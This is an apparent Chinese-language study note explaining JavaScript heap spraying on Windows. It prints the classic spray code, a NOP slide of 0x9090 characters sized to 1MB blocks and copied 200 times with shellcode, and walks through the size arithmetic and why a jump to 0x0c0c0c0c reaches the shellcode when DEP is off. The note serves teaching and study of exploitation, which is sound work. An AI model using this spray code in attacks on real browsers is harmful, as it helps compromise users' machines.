学习Windows下JS的堆喷

heap spray

堆喷是一个使用非常广泛的技术,其在浏览器等应用程序的漏洞利用中非常常见

如下代码就是常见的使用堆喷的JS代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var nop = unescape("%u9090%u9090");		<---------- 1

// Create a 1MB string of NOP instructions followed by shellcode:
//
// malloc header string length NOP slide shellcode NULL terminator
// 32 bytes 4 bytes x bytes y bytes 2 bytes

while (nop.length <= 0x100000/2) nop += nop; <---------- 2

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2); <---------- 3

var x = new Array(); <------------- 4

// Fill 200MB of memory with copies of the NOP slide and shellcode
for (var i = 0; i < 200; i++) {
x[i] = nop + shellcode; <----------- 5
}

nop这个变量是一串unicode字符串,要注意的是,每个unicode字符的长度是2字节

2处,nop.length指的是该字符串有多少个unicode字符,并不是由多少字节,而这个while循环的目的是分配出一个0x100000字节大小的堆(实际上堆的大小是32+4+2+0x100000)

3处,substring是取子串,这里取的是[0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2)这么长,这里是去掉了堆头的32字节、字符串长度的4字节、%u0000截止的两字节,然后再减去shellcode的长度

4处这里,此时nop+shellcode分配出来的堆块的大小刚好就是0x100000字节,即1M,那么这个for循环就相当于直接分配了200M的堆,而堆中填充的是我们的滑板和shellcode

此时,计算一下,200M是0xC800000字节,那么就意味着,0xc0c0c0c这个地址是位于我分配出来的堆中的。此时,如果程序跳转到0xc0c0c0c这个地址来执行这里的代码,将会有很大的几率可以执行到滑板上,在没有开启DEP的情况下,堆上的数据还是可执行的,shellcode就会被执行

然而,DEP一般都是开启的,直接执行堆上的数据就变得不可行了